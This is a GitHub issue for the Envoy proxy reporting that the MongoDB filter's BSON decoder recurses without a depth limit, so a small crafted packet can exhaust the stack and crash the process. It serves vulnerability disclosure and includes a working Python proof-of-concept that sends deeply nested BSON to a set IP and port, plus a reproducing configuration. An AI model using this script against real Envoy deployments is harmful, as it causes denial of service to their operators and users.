envoyproxy/envoy

Excessive recursion in MongoDB extension may lead to crash

Open

#19,979 opened on 2022年2月16日

GitHub で見る
 (2 comments) (0 reactions) (0 assignees)C++ (5,373 forks)batch import
area/mongodbbughelp wanted

Repository metrics

Stars
 (27,997 stars)
PR merge metrics
 (平均マージ 8d) (30d で 378 merged PRs)

説明

Title: Excessive recursion in MongoDB extension may lead to crash

Description: Clarification - This is reported here and not to the "envoy-security" mailing group, per the request of that mailing group, since the MongoDB extension is outside of the security threat scope.

The DecoderImpl::fromBuffer function in bson_impl.cc parses BSON buffers into structures representing them. The code reads the byte that represents the type of the next element of the message and then creates the structure that represents this type and adds it to its parent element. Some of the elements are decoded by the same DecoderImpl::fromBuffer itself, such as the Document element, causing a recursion. Since there is no code that checks the recursion depth, it is possible to make the code recurse again and again (even when parsing a relatively small packet) until the stack is exhausted and the process crashes.

Repro steps:

  1. Configure envoy with the configuration specified in the Config section
  2. Run the following Python script - (Script assumes Envoy on 192.168.188.133:10000, Script may need to be executed several times before causing a crash)
from socket import *
import struct
 
s = socket(AF_INET, SOCK_STREAM)
s.connect(("192.168.188.133", 10000))  # Change to Envoy IP address
 
inner_data = '\x03a\x00'
my_data = '\x07\x00\x00\x00\x03a\x00'
 
for i in range(6000):
    my_data = struct.pack("<I", 7*(i+2)) + inner_data + my_data
 
print repr(my_data)
 
buf = '<\x00\x00\x00\x00\x00\x00\x00\xd2\x07\x00\x00\x00\x00\x00\x00admin.$cmd\x00' + \
    my_data
 
length = struct.pack("<I", len(buf))
 
s.send(length + buf)
 
print(s.recv(1024))

Config:

static_resources:
  listeners:
  - address:
      socket_address:
        address: 0.0.0.0
        port_value: 10000
    filter_chains:
    - filters:
      - name: envoy.extensions.filters.network.mongo_proxy.v3.MongoProxy
        typed_config:
          "@type": type.googleapis.com/envoy.extensions.filters.network.mongo_proxy.v3.MongoProxy
          stat_prefix: "abc"
          access_log: "/tmp/mongoaccess.log"
          commands:
          - "delete"
          - "insert"
          - "update"
      - name: envoy.filters.network.http_connection_manager
        typed_config:
          "@type": type.googleapis.com/envoy.extensions.filters.network.http_connection_manager.v3.HttpConnectionManager
          path_with_escaped_slashes_action: UNESCAPE_AND_FORWARD
          merge_slashes: true
          codec_type: AUTO
          strip_trailing_host_dot: true
          strip_any_host_port: true
          stat_prefix: ingress_http
          route_config:
            name: local_route
            virtual_hosts:
            - name: app
              domains:
              - "*"
              routes:
              - match:
                  prefix: "/"
                route:
                  cluster: service-http
          http_filters:
          - name: envoy.filters.http.router
 
 
  clusters:
  - name: service-http
    type: STRICT_DNS
    lb_policy: ROUND_ROBIN
    load_assignment:
      cluster_name: service-http
      endpoints:
      - lb_endpoints:
        - endpoint:
            address:
              socket_address:
                address: 127.0.0.1
                port_value: 4567

コントリビューターガイド